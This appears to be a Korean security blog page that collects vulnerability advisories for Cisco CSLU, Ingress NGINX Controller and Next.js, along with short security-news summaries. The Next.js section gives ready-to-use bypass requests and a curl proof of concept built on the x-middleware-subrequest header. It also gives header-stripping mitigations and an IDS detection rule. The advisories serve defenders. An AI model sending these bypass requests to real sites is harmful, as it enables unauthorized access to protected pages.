1. Cisco CSLU

- Cisco Smart License Utility Manager [1]

- 사용자가 Smart Licensed 지원 제품 인스턴스를 호스팅 된 Cisco Smart Software Manager에 직접 연결하지 않고도 장치를 관리 할 수 ​​있도록하는 Windows 기반 솔루션

[사진 1] CSLU

2. 취약점

2.1 CVE-2024-20439

[사진 2] CVE-2024-20439 [2]

- 인증되지 않은 원격 공격자가 정적 관리자 자격 증명을 사용하여 시스템에 로그인할 수 있는 취약점 (CVSS: 9.8)

> 계정 정보가 소스 코드 내 하드 코딩 되어있어 공격자는 CSLU API를 통해 관리자 권한으로 로그인 가능

※ CSLU가 수동 실행된 상태에서만 공격 가능 (CSLU는 기본적으로 백그라운드에서 자동 실행되지 않음)

영향받는 버전
- Cisco Smart Licensing Utility(CSLU) 2.0.0 / 2.1.0 / 2.2.0

[사진 3] 하드코딩된 자격 증명 [3]

2.2 CVE-2024-20440

[사진 4] CVE-2024-20440 [4]

- 디버그로그 파일에 과도한 정보가 기록되어, 인증되지 않은 공격자가 조작된 HTTP 요청을 보내 민감 정보를 획득할 수 있는 취약점

> 공격에 성공할 경우 API 자격 증명을 포함한 민감 정보 획득 가능

영향받는 버전
- Cisco Smart Licensing Utility(CSLU) 2.0.0 / 2.1.0 / 2.2.0

3. 대응방안

- 벤더사 제공 보안 업데이트 적용 [5][6][7]

> 시스코 제품 보안 사고 대응팀과 SANS 기술연구소는 두 취약점을 연계한 CSLU 대상 공격이 진행되고 있음을 확인
> 신속한 업데이트 적용 필요

취약점 제품명 영향받는 버전 해결 버전
CVE-2024-20439
CVE-2024-20440
Cisco Smart Licensing Utility(CSLU) 2.0.0 고정된 릴리즈로 마이그레이션
(2.3.0)
2.1.0
2.2.0

4. 참고

[1] https://www.cisco.com/web/software/286327971/154599/CSLU_User_Guide.pdf
[2] https://nvd.nist.gov/vuln/detail/cve-2024-20439
[3] https://www.stormshield.com/news/security-alert-cve-2024-20439-stormshield-products-response/
[4] https://nvd.nist.gov/vuln/detail/cve-2024-20440
[5] https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cslu-7gHMzWmw
[6] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71709&menuNo=205020
[7] https://asec.ahnlab.com/ko/82942/
[8] https://www.dailysecu.com/news/articleView.html?idxno=165045

요약 - 깃허브, 24년 한 해 저장소에서 3,900만 건 이상의 비밀정보 유출(발견)
- 문제를 해결하기 위해 고급 보안 기능(GitHub Advanced Security)을 전면 개편
내용 비밀정보 유출은 최근 소프트웨어 개발 과정에서 가장 심각한 보안 위협 중 하나로 부상
> 작년 한 해 동안 깃허브의 비밀정보 스캔(Secret Scanning) 기능을 통해 3,900만 건이 넘는 민감 정보가 공개 및 비공개 저장소에서 발견
> 개발 속도가 빨라질수록 비밀정보 유출도 그만큼 증가하고 있음을 보여줌

- 깃허브
> 22.04 비밀정보가 포함된 코드를 푸시(Push)하는 것을 방지하는 ‘푸시 보호(Push Protection)’ 기능을 도입
> 24.02부터는 이를 모든 공개 저장소에 기본 적용
> 그럼에도 불구하고 비밀정보가 여전히 유출되는 주된 이유
① 개발자들이 커밋 과정에서 편의성을 우선시하거나
② Git 기록을 통해 실수로 저장소가 공개되는 경우가 많기 때문

- 깃허브는 문제를 해결하기 위해 고급 보안 기능(GitHub Advanced Security)을 전면 개편
비밀 보호(Secret Protection)코드 보안(Code Security) 기능를  분리해 개별 제품으로 출시
> 기존 : 통합형 보안 제품군
> 중소 규모 개발팀도 저렴한 비용으로 고급 보안 기능을 사용할 수 있게됨

② 조직 전체를 대상으로 한 무료 비밀 위험 진단 기능이 제공
> 공개, 비공개, 내부, 보관 저장소까지 포함해 모든 저장소에서 민감 정보를 점검할 수 있도록 함

③ 푸시 보호 기능에는 ‘우회 권한 위임’ 기능이 추가
> 특정 사용자나 팀에게만 비밀정보가 포함된 커밋의 푸시를 허용하는 정책을 설정할 수 있음
> 조직 차원의 정책 기반 통제가 가능해짐

인공지능 기반 코파일럿(Copilot)을 활용해 구조화되지 않은 비밀번호 등의 비밀정보도 탐지할 수 있도록 함
> 탐지 정확도를 높이고 오탐률을 줄여주는 효과

⑤ AWS, 구글 클라우드, 오픈AI 등 주요 클라우드 서비스 제공업체들과의 협력
> 더 정밀한 비밀정보 탐지기를 구축하고 유출 발생 시 빠르게 대응할 수 있도록 체계를 강화
기타 - 보안 전문가들 권고
> 개발 과정에서 민감 정보를 코드에 직접 입력하지 말고 환경 변수나 비밀관리 도구, 보안 금고(Vault)를 통해 분리 저장할 것
> CI/CD 파이프라인이나 클라우드 플랫폼과 연동 가능한 도구를 활용해 비밀정보를 자동으로 처리 (인적 실수로 인한 노출을 줄이는 것이 중요) 
> 주기적인 감사와 보안 관리 가이드라인 숙지

 

보안뉴스

 

2024년 비밀정보 3,900만 건 유출 된 깃허브, 보안 기능 대폭 강화 나서 - 데일리시큐

깃허브(GitHub)가 2024년 한 해 동안 저장소에서 발견된 3,900만 건 이상의 비밀정보 유출을 계기로 보안 기능을 대폭 강화했다. API 키와 사용자 인증 정보 등 민감한 데이터가 저장소에 노출되며 사

www.dailysecu.com

 

요약 - VMware Workstation의 자동 업데이트 기능에 최근 심각한 문제 발생
- 인증서 검증 오류가 발생해 소프트웨어 업데이트 기능이 중단
내용 - 브로드컴(Broadcom)이 업데이트 서버 주소를 일반 지원 페이지로 리디렉션
인증서 검증 오류가 발생해 소프트웨어 업데이트 기능 중단

- 기존 VMware Workstation이 실행될 때 자동 또는 수동으로 업데이트가 가능
> 이때 소프트웨어는 hxxps://softwareupdate.broadcom[.]com/cds 서버에 접속해 최신 버전 확인 및 다운로드

- 그러나 현재 해당 URL은 브로드컴의 일반 지원 페이지인 hxxps://support.broadcom[.]com/으로 리디렉션
> 이로 인해 프로그램은 다음과 같은 인증서 오류 메시지를 표시

“업데이트 서버에 연결하는 중 인증서 오류가 발생했습니다. 인터넷 설정을 확인하거나 시스템 관리자에게 문의하십시오.”

> 프로그램이 기대한 보안 인증서와 리디렉션된 페이지에서 제공하는 인증서가 일치하지 않기 때문에 발생
> 사용자들은 브로드컴 포털에 직접 접속해 최신 버전을 다운로드 및 수동 설치

- 자동 업데이트 기능이 중단되면서 중요한 보안 패치나 버그 수정 사항을 사용자들이 놓칠 수 있어 위험도 증가
> 문제가 발생한 VMware Workstation 최신 버전은 17.6.3
기타 - 보안 전문가들의 권고
> 당분간 사용자가 브로드컴 포털을 통해 수동으로 업데이트를 확인 및 설치
> 다운로드한 파일의 진위를 검증해 위조 파일이나 악성코드 감염을 방지
> 자동 업데이트 기능이 안정적으로 유지되는 대체 가상화 솔루션을 검토

 

보안뉴스

 

브로드컴 URL 리디렉션으로 브이엠웨어 워크스테이션 자동 업데이트 장애…보안 위협 증가

브이엠웨어 워크스테이션(VMware Workstation)의 자동 업데이트 기능이 최근 심각한 문제를 겪고 있다. 브로드컴(Broadcom)이 업데이트 서버 주소(URL)를 일반 지원 페이지로 리디렉션하면서 인증서 검증

www.dailysecu.com

 

요약 - Palo Alto Networks GlobalProtect VPN 포털을 대상으로 한 스캔 활동이 급증
- 약 2만4천 개 고유 IP 주소가 관여하였으며, 향후 취약점 악용 가능성에 대한 우려 증가
내용 - 25.03.17부터 시작돼 하루 최대 2만 개에 달하는 고유 IP 주소가 스캔 시도
> 03.26까지 규모 유지
> 23,800개 IP는 ‘의심스러운(suspicious)’ 활동으로 분류됐으며, 154개는 실제 ‘악의적인(malicious)’ 활동을 한 것으로 확인
> 03.26 PAN-OS 크롤러 활동 급증 )해당 스캔에는 별도로 2,580개 IP 확인)

- 위협 인텔리전스 기업 그레이노이즈(GreyNoise)
네트워크 스캔 급증은 일반적으로 새로운 취약점 공개나 악용 시도에 앞서 발생하는 사전 정찰(Reconnaissance)의 전형적인 패턴

- 스캔 활동의 방식도 일정하고 일관성이 높음
> 단순한 자동화된 스캔이 아니라 특정한 방어 체계를 시험 및 분석하려는 조직적인 공격 준비 단계일 가능성이 큼

- 관련 장비 운영 중인 관리자 대상 권고
> 시스템 로그 면밀히 분석
> 공격 징후를 사전에 탐지해 방어 체계 강화
> 특히 3월 중순 이후의 로그를 검토해 이상 활동이 있었는지 점검
> 로그인 포털의 보안 강화
> 확인된 악성 IP 차단 리스트 등록

- 팔로알토네트웍스
> 관련 스캔 활동에 대해 인지
> 해당 활동의 영향을 분석하고, 필요한 대응 조치를 파악하기 위해 모니터링 중
> 최신 버전의 PAN-OS를 사용해 보안 기능을 최적화할 것을 고객들에게 권고
기타 - 보안 전문가들 권고
> 실제 공격으로 이어질 가능성이 있음
> VPN과 포털 보안에 대한 대비책을 지금부터 강화
> 취약점이 발견되기 전이라도 최신 보안 패치를 적용
> 의심스러운 네트워크 접근을 지속적으로 모니터링
> 관리 인터페이스에 대한 접근 제어와 다중 인증을 엄격히 적용 등 권고

 

보안뉴스

 

팔로알토네트웍스 VPN 포털 대상 스캔 활동 급증, 전 세계 2만4천개 IP 관여...사용기관 주

최근 팔로알토네트웍스 글로벌프로텍트(Palo Alto Networks GlobalProtect)VPN 포털을 대상으로 한 스캔 활동이 급증하고 있는 것으로 나타났다. 이 활동에는 약 2만4천 개에 달하는 고유 IP 주소가 관여한

www.dailysecu.com

 

요약 - 사이버보안 연구진이 랜섬웨어 조직 ‘블랙락(BlackLock)’의 온라인 인프라에 침투
- 주요 운영 정보 확보
내용 블랙락(BlackLock)
> 이전에 엘도라도(Eldorado)라는 이름으로 활동
> 24.03경부터 활동을 본격화한 Ransomware-as-a-Service(RaaS) 조직
> 기술, 제조, 건설, 금융, 유통 등 다양한 산업 및 미국, 영국, 캐나다, 프랑스, 이탈리아 등 여러 국가를 공격

- 미국 보안 기업 리시큐리티(Resecurity)
> 블랙락이 다크웹에서 운영하던 데이터 유출 사이트(DLS)에 로컬 파일 포함(Local File Inclusion, LFI) 취약점이 존재함을 발견
> 해당 취약점은 웹 서버에 경로 이동(Path Traversal) 공격을 가해 서버 내부 정보를 불법으로 열람할 수 있도록 함
> 연구진은 이를 통해 서버 설정 파일, 계정 자격증명, 운영자가 입력한 명령어 기록 등 민감한 정보를 확보
* 블랙락 조직에게 있어 매우 심각한 운영 보안(OPSEC) 실패로 평가됨

- 유출된 데이터 분석 결과
데이터 탈취 방식
> 피해자의 시스템에서 탈취한 데이터를 클라우드 서비스인 MEGA로 전송하기 위해 Rclone 툴 사용
> 일부 경우 피해자의 컴퓨터에 MEGA 클라이언트를 직접 설치한 흔적 발견

일회용 이메일 사용
> YOPmail과 같은 일회용 이메일 서비스로 만든 계정으로 최소 8개의 MEGA 계정을 생성해 피해자 데이터 보관

기존 랜섬웨어와의 유사성
> 역공학 분석 결과, 드래곤포스(DragonForce) 랜섬웨어와 소스코드 및 협박 메시지에서 유사한 부분 발견
> 드래곤포스는 Visual C++로 작성, 블랙락은 Go 언어를 사용
> 개발 방식은 다르지만 상호 연관 가능성이 제기

공격 파트너 모집
> 블랙락의 핵심 인물로 알려진 ‘$$$’는 25.01 중순부터 지하 커뮤니티에서 공격 초기 침투를 수행할 파트너 모집
> 이들은 악성 사이트로 피해자를 유도해 초기 접근 권한을 확보한 후 랜섬웨어를 설치하는 역할
기타 - 랜섬웨어 조직 간의 경쟁 또는 조직 통합의 신호
> 블랙락의 데이터 유출 사이트가 드래곤포스에 의해 변조
> 마모나(Mamona)의 사이트도 동일하게 변조

- 능동적 대응 전략을 통해 사이버 범죄 생태계에 실질적인 타격을 줄 수 있음을 보여줌
> 공격 기법이 계속 진화하는 만큼, 지속적인 경계와 보안 커뮤니티 간 협력이 앞으로도 중요할 것으로 보임

 

보안뉴스

 

치명적 보안취약점 이용해 블랙락 랜섬웨어 조직 역해킹…운영 내역 대거 유출 - 데일리

사이버보안 연구진이 악명 높은 랜섬웨어 조직 ‘블랙락(BlackLock)’의 온라인 인프라에 침투해 이들의 주요 운영 정보를 확보하는 데 성공했다. 이번 사건은 사이버 범죄자들에 맞선 ‘역해킹’

www.dailysecu.com

 

Resecurity | Blacklock Ransomware: A Late Holiday Gift with Intrusion into the Threat Actor's Infrastructure

Introduction Dubbed “BlackLock” (aka "El Dorado" or "Eldorado"), the ransomware-as-a-service (RaaS) outfit has existed since March 2024. In Q4 of last year, it increased its number of data leak posts by a staggering 1,425% quarter-on-quarter. According

www.resecurity.com

 

요약 - KISA, 해킹 진단 도구 업데이트
- 리눅스 추가 지원 및 사용자 편의 기능 등 추가
내용 KISA 해킹 진단 도구
> 23년 기업이 자체적으로 해킹 사고 여부를 점검할 수 있도록 개발 및 시범 배포
> 24년 정식 버전 배포 및 지속적 기능 개선
> 관리자 계정 접속 시도나 데이터 유출 시도 등의 주요 증거 데이터를 분석
> 해킹 여부를 빨강(심각)-주황(주의)-녹색(정상) 3단계로 제시
> 점검 결과를 통해 해킹이 의심되면, KISA에 침해사고 분석 기술지원 서비스를 받아 원인 분석부터 재발 방지 대책 수립까지 지원받을 수 있음

- 이번 업데이트에서 리눅스 추가 지원을 통해 활용 범위 확대
> 윈도우용 점검 도구는 사용자 편의를 돕기 위해 증거 데이터 수집 항목 추가, 탐지룰 제작 기능 개선, 신규 탐지룰 탑재 등의 기능을 추가
기타 -

 

보안뉴스

 

KISA, 해킹 진단 도구 업데이트..리눅스 추가 지원

한국인터넷진흥원(KISA·원장 이상중)은 ‘해킹 진단 도구’를 업데이트했다고 25일 밝혔다. 이번 업데이트를 통해 리눅스를 추가 지원하고 사용자 편의 기능 등이 추가됐다.

www.boannews.com

 

KISA 보호나라&KrCERT/CC

KISA 보호나라&KrCERT/CC

www.boho.or.kr

 

1. Ingress NGINX Controller

- Ingress란 클러스터 외부에서 내부로 접근하는 요청들을 어떻게 처리할지 정의해둔 규칙들의 모음 [1][2][3][4]
- Ingress Controller란 Ingress 리소스에 정의된 규칙을 읽고, 해당 규칙에 따라 트래픽을 라우팅 [1][2][3][4]
Ingress NGINX Controller란 NGINX를 역방향 프록시 및 로드 밸런서로 사용하는 Kubernetes용 Ingress Controller [5][6]

2. 주요내용 [7]

- Ingress NGINX Controller의 구조적 설계 문제로 공격자가 악의적인 Ingress 객체를 전송하여 임의의 NGINX 설정을 주입할 수 있음

> 취약점 악용에 성공 시 클러스터 내 모든 시크릿 노출, 원격 코드 실행 등이 가능

 

- Admission Controller는 사용자의 요청을 변조(Mutate)검증(Validation)을 통해 요청의 승인 여부를 결정

> 기본적으로 인증 없이 누구나 접근 가능한 상태로 배포되어 네트워크를 통해 액세스 가능

※ 변조(Mutate) : 사용자의 요청을 사전 정의된 변형 규칙에 따라 요청을 변경

검증(Validation) : 요청이 기준에 맞는지 확인하여 해당 요청을 승인 또는 거절

 

- Admission Controller는 Admission Webhook Endpoint를 통해 Kubernetes API 서버와 통신

> AdmissionReview 구조로 통신

> 일반 적으로 Kubernetes API 서버만 AdmissionReview 요청을 보내야 하지만, Admission Controller는 누구나 접근 가능하기 때문에 임의의 AdmissionReview 요청을 전송할 수 있음

[사진 1] Admission Controller

 

- Ingress NGINX Controller는 AdmissionReview 요청을 처리할 때 템플릿 파일과 제공된 Ingress 객체를 기반으로 임시 NGINX 구성 파일을 생성

> 임시 파일 생성 후 nginx -t 명령을 사용해 임시 구성 파일의 유효성을 테스트

> 이때, 적절한 검증이 없어 조작된 Ingress 객체를 전송해 임의의 NGINX 구성을 삽입할 수 있음

[사진 2] nginx -t

2.1 취약점

2.1.1 CVE-2025-24514 [9]

- authreq 파서는 인증 관련 주석을 처리하는 역할을 수행

> 주석에는 URL을 포함하는 auth-url 필드를 설정해야 하며, 해당 값을 적절한 검증 없이 $externalAuth.URL에 포함

> ngnix -t 명령을 실행할 때 명령에 포함되어 실행

2.1.2 CVE-2025-24513 [10]

- 부적절한 입력 값 검증으로 Directory Traversal 공격이 가능

> 이를 통해 DoS 또는 제한된 비밀 객체 노출 발생 가능

2.1.3 CVE-2025-1097 [11]

- authtls 파서는 auth-tls-match-cn 주석을 CommonNameAnnotationValidator를 사용하여 필드 값을 검증

> auth-tls-match-cn 주석은 CN=으로 시작

> 이를 통해 임의의 코드 실행이 가능

2.1.4 CVE-2025-1098 [12]

- mirror-targetmirror-host Ingress 주석을 사용하여 nginx에 임의의 구성을 삽입할 수 있음

> 이를 통해 임의의 코드 실행이 가능

2.1.5 CVE-2025-1974 [13]

- 특정 조건 하에서 Pod Network에 액세스할 수 있는 인증되지 않은 공격자가 임의 코드 실행이 가능

3. 대응방안

- 벤더사 제공 보안 업데이트 적용 [14][15][16][17]

제품명 영향받는 버전 해결 버전
Ingress NGINX Controller 1.11.0 미만 1.11.5
1.11.0 이상 ~ 1.11.4 이하
1.12.0 1.12.1

 

- 추가 모니터링 및 필터 적용

> Admission Controller가 Kubernetes API 서버에서만 접근 가능하도록 접근 제한

> Admission Webhook Endpoint가 외부에 노출되지 않도록 설정

> Admission Controller 컴포넌트가 불필요할 경우 비활성화

> Helm을 사용하여 ingress-nginx를 설치한 경우 controller.admissionWebhooks.enabled=false로 설정하여 재설치
> 수동으로 ingress-nginx를 설치한 경우

① ValidatingWebhookConfiguration에서 ingress-nginx-admission 삭제

② ingress-ngin-controller 컨테이너의 Deployment 또는 Daemonset에서 '--validating-webhook' 인수 삭제

4. 참고

[1] https://kubernetes.io/ko/docs/concepts/services-networking/ingress/
[2] https://kubernetes.io/ko/docs/concepts/services-networking/ingress-controllers/
[3] https://somaz.tistory.com/120
[4] https://somaz.tistory.com/324
[5] https://github.com/kubernetes/ingress-nginx
[6] https://kubernetes.github.io/ingress-nginx/
[7] https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities
[8] https://velog.io/@utcloud/k8s-Admission-Controller
[9] https://github.com/kubernetes/kubernetes/issues/131006
[10] https://github.com/kubernetes/kubernetes/issues/131005
[11] https://github.com/kubernetes/kubernetes/issues/131007
[12] https://github.com/kubernetes/kubernetes/issues/131008
[13] https://github.com/kubernetes/kubernetes/issues/131009
[14] https://kubernetes.github.io/ingress-nginx/deploy/upgrade/
[15] https://github.com/kubernetes/ingress-nginx/releases/tag/controller-v1.11.5
[16] https://github.com/kubernetes/ingress-nginx/releases/tag/controller-v1.12.1
[17] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71698&menuNo=205020

1. Next.js [1]

- 풀 스택 웹 애플리케이션을 구축하기 위한 React 기반의 오픈소스 자바 스크립트 프레임워크

2. CVE-2025-29927

[사진 1] CVE-2025-29927 [2]

- Next.js의 미들웨어 (Middleware)의 권한 검사를 우회할 수 있는 인증 우회 취약점 (CVSS: 9.1)

> 미들웨어 (Middleware)는 요청을 처리하는 과정에서 사용자 인증 및 권한 검사를 수행

> x-middleware-subrequest 헤더를 조작해 미들웨어 기반의 보안 검사 우회

영향받는 버전
Next.js
- 15.x < 15.2.3
- 14.x < 14.2.25
- 13.x < 13.5.9
- 12.x < 12.3.5

 

- 무한 루프를 방지하기 위해 x-middleware-subrequest 헤더 사용 [3][4]

① 사용자 요청에서 x-middleware-subrequest 헤더 추출

② ':'를 기준으로 분할하여 배열로 저장

③ 현재 실행 중인 미들웨어의 이름과 일치하는 요청이 몇 번 반복되었는지 계산 (depth)

④ 동일한 요청이 최대 재귀 깊이 (MAX_RECURSION_DEPTH) 보다 많은 경우 x-middleware-next 헤더를 1로 설정

> x-middleware-next 헤더는 현재 미들웨어를 중단하고 다음 미들웨어로 요청을 전달하는 헤더로 판단됨

...
export const run = withTaggedErrors(async function runWithTaggedErrors(params) {
  const runtime = await getRuntimeContext(params)
  const subreq = params.request.headers[`x-middleware-subrequest`] ----------------- 1
  const subrequests = typeof subreq === 'string' ? subreq.split(':') : [] ---------- 2

  const MAX_RECURSION_DEPTH = 5
  const depth = subrequests.reduce( ------------------------------------------------ 3
    (acc, curr) => (curr === params.name ? acc + 1 : acc),
    0
  )

  if (depth >= MAX_RECURSION_DEPTH) { ---------------------------------------------- 4
    return {
      waitUntil: Promise.resolve(),
      response: new runtime.context.Response(null, {
        headers: {
          'x-middleware-next': '1',
        },
      }),
    }
  }
  ...

 

- 동일한 미들웨어가 5번 이상 x-middleware-subrequest 헤더에 포함될 경우 ④의 과정을 통해 우회 가능

> 버전별로 미들웨어 파일의 이름과 위치가 다르기 때문에 악용 가능한 x-middleware-subrequest 헤더 값이 상이

버전 악성 요청 예시
~ 12.2 GET /admin/dashboard HTTP/1.1
x-middleware-subrequest: pages/_middleware
12.2 ~ 13 GET /admin/dashboard HTTP/1.1
x-middleware-subrequest: middleware
13 ~ GET /admin/dashboard HTTP/1.1
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
 
또는 

GET /admin/dashboard HTTP/1.1
x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware

 

- PoC 예시 [5]

curl -v "http://abc.com/dashboard" \
  -H "Host: abc.com" \
  -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
  -H "Accept-Language: en-US,en;q=0.9" \
  -H "Upgrade-Insecure-Requests: 1" \
  -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
  -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
  -H "Accept-Encoding: gzip, deflate, br" \
  -H "Connection: keep-alive"

 

[사진 2] 악용 패킷 캡쳐

3. 대응방안

- 벤더사 제공 업데이트 적용 [6][7]

제품명 영향받는 버전 해결 버전
Next.js 15.x 15.2.3
14.x 14.2.25
13.x 13.5.9
12.x 12.3.5

 

- 업데이트 적용이 불가한 경우 x-middleware-subrequest 헤더가 포함된 외부 사용자 요청이 Next.js 애플리케이션에 도달하지 못하도록 차단 [8]

① Apche

>.htaccess 파일 설정 변경 : mod_headers 기능 설치 및 요청에 해당 헤더가 포함된 경우 삭제하도록 설정 [9]

<IfModule mod_headers.c>
RequestHeader unset x-middleware-subrequest
</IfModule>

 

② NGINX

> nginx.conf 파일 설정 변경 : proxy_set_header 지시문 활용

 server {
   listen 80;
   server_name your_domain.com;
   location / {
     proxy_set_header x-middleware-subrequest "";
   }
 }

 

③ Express.js

> JavaScript 소스 코드에 다음 지침을 추가

// Middleware to remove the x-middleware-subrequest header
 app.use((req, res, next) => {
   delete req.headers['x-middleware-subrequest'];
   next();
 });

 

- WAF에서 x-middleware-subrequest 헤더를 포함한 요청을 차단하도록 설정

 

- 탐지룰 설정

alert tcp any any -> any any (msg:"CVE-2025-29927 x-middleware-subrequest Detected"; flow:to_server,established; content:"x-middleware-subrequest|3A|"; http_header; pcre:"x-middleware-subrequest\s*:\s*(pages\/_middleware|middleware|src\/middleware)"; )

4. 참고

[1] https://nextjs.org/
[2] https://nvd.nist.gov/vuln/detail/CVE-2025-29927
[3] https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware
[4] https://github.com/vercel/next.js/blob/eb883cdcfb22517e4babec6f38d3fe86961e2811/packages/next/src/server/web/sandbox/sandbox.ts#L94
[5] https://github.com/MuhammadWaseem29/CVE-2025-29927-POC
[6] https://nextjs.org/blog/cve-2025-29927
[7] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71695&menuNo=205020
[8] https://jfrog.com/blog/cve-2025-29927-next-js-authorization-bypass/
[9] https://httpd.apache.org/docs/2.2/ko/mod/mod_headers.html#page-header
[10] https://www.boannews.com/media/view.asp?idx=136641&page=2&kind=1

+ Recent posts